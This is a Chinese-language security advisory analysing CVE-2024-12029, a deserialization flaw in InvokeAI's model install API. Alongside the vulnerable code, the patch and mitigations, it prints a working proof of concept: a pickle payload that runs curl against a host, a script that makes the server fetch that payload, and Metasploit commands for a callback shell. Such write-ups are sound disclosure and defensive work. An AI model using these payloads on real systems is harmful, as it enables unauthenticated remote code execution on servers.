CVE-2024-12029 – InvokeAI 反序列化漏洞导致远程代码执行

本文详细分析了CVE-2024-12029漏洞,该漏洞存在于InvokeAI的模型安装API端点,攻击者可通过恶意模型文件实现远程代码执行,涉及PyTorch的torch.load()函数不安全使用及修复方案。

CVE-2024-12029 – InvokeAI 反序列化不可信数据漏洞

概述

CVE-2024-12029 是 InvokeAI(一款流行的 AI 艺术生成工具)中 /api/v2/models/install API 端点存在的反序列化不可信数据漏洞。攻击者通过发送特制的模型文件,可利用此漏洞在服务器上实现远程代码执行。

  • CVE ID: CVE-2024-12029
  • 严重性: 严重
  • CVSS 分数: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • EPSS 分数: 61.17%
  • 发布日期: 2025年2月7日
  • 影响: 远程代码执行
  • 攻击向量: 远程
  • 需认证: 否
  • 脆弱组件: 使用不安全的 torch.load() 反序列化的模型安装 API

此漏洞影响任何将模型安装 API 暴露给不可信用户或网络的 InvokeAI 安装实例。

技术分析

/api/v2/models/install API 端点接受用户指定的模型 URL 用于下载和加载 AI 模型。InvokeAI 使用 PyTorch 的 torch.load() 函数对模型文件进行反序列化,但未进行适当的验证或沙箱处理。

PyTorch 的 torch.load() 函数可以执行嵌入在序列化模型文件中的任意 Python 代码。通过制作包含嵌入 Python 代码的恶意模型文件,攻击者可以在服务器端加载模型时实现远程代码执行。

利用条件

  • InvokeAI 实例运行易受攻击版本(5.3.1 至 5.4.2)。
  • 攻击者可访问 /api/v2/models/install 端点。
  • 攻击者可在 Web 服务器上托管恶意模型文件或提供其 URL。
  • 模型验证和沙箱处理未正确实施。
  • InvokeAI 进程具有足够权限执行嵌入的恶意代码。

脆弱代码片段

漏洞源于在 invokeai/backend/model_manager/util/model_util.py 中的 read_checkpoint_meta 函数不安全地使用 PyTorch 的 torch.load

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def read_checkpoint_meta(path: Union[str, Path], scan: bool = False) -> Dict[str, torch.Tensor]:
    if str(path).endswith(".safetensors"):
        try:
            path_str = path.as_posix() if isinstance(path, Path) else path
            checkpoint = _fast_safetensors_reader(path_str)
        except Exception:

            checkpoint = safetensors.torch.load_file(path, device="cpu")
    else:
        if scan:
            scan_result = scan_file_path(path)
            if scan_result.infected_files != 0:
                raise Exception(f'The model file "{path}" is potentially infected by malware. Aborting import.')
        if str(path).endswith(".gguf"):
            # The GGUF reader used here uses numpy memmap, so these tensors are not loaded into memory during this function
            checkpoint = gguf_sd_loader(Path(path), compute_dtype=torch.float32)
        else:
            checkpoint = torch.load(path, map_location=torch.device("meta"))
    return checkpoint

利用步骤

  1. 创建包含嵌入 Python 代码的恶意 PyTorch 模型文件:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import asyncio
import pickle
import requests
import torch

class Payload:
  def __reduce__(self):
      import os
      return (os.system, ('curl 192.168.48.3/rce_poc',))
    
def generate_payload():
  # Not .pkl
  with open('payload.ckpt', 'wb') as f:
    pickle.dump(Payload(), f)
  1. 在目标可访问的 Web 服务器上托管恶意模型文件。
  2. 利用以下 Python 脚本触发 InvokeAI 模型安装 API 并加载恶意模型:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def request_model_download():
  import requests

  url = "http://localhost:9090/api/v2/models/install"
  params = {
      "source": "http://192.168.48.3/payload.ckpt",
      "inplace": "true"
  }
  response = requests.post(url, params=params, json={})

request_model_download()
  1. 当 InvokeAI 尝试使用 torch.load() 加载模型时,恶意代码将执行。

使用 Metasploit 进行利用

Metasploit 包含一个用于此 CVE 的模块,可用于利用:

1
2
3
4
5
6
7
# In Metasploit console
use exploit/linux/http/invokeai_rce_cve_2024_12029
set RHOSTS target_ip
set RPORT 9090
set LHOST attacker_ip
set LPORT 4444
exploit

缓解措施

  • 将 InvokeAI 更新到 5.4.3 或更高版本,其中修复了不安全的反序列化。
  • 使用安全的模型加载实践与 torch.load()
    • 使用带有 weights_only=True 参数的 torch.load()
    • 实施适当的输入验证和沙箱处理
    • 使用可信模型源的白名单
  • 网络分段:限制对 /api/v2/models/install 端点的访问。
  • 输入验证:在加载前验证模型文件签名和内容。
  • 最小权限原则:以最小必要权限运行 InvokeAI。

补丁

InvokeAI 通过将易受攻击函数中的 scan 变量默认设置为 True 来解决此问题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def read_checkpoint_meta(path: Union[str, Path], scan: bool = True) -> Dict[str, torch.Tensor]:
    if str(path).endswith(".safetensors"):
        try:
            path_str = path.as_posix() if isinstance(path, Path) else path
            checkpoint = _fast_safetensors_reader(path_str)
        except Exception:

            checkpoint = safetensors.torch.load_file(path, device="cpu")
    elif str(path).endswith(".gguf"):
        # The GGUF reader used here uses numpy memmap, so these tensors are not loaded into memory during this function
        checkpoint = gguf_sd_loader(Path(path), compute_dtype=torch.float32)
    else:
        if scan:
            scan_result = pscan.scan_file_path(path)
            if scan_result.infected_files != 0:
                raise Exception(f"The model at {path} is potentially infected by malware. Aborting import.")
            if scan_result.scan_err:
                raise Exception(f"Error scanning model at {path} for malware. Aborting import.")

        checkpoint = torch.load(path, map_location=torch.device("meta"))
    return checkpoint

漏洞补丁可在此提交中找到:https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计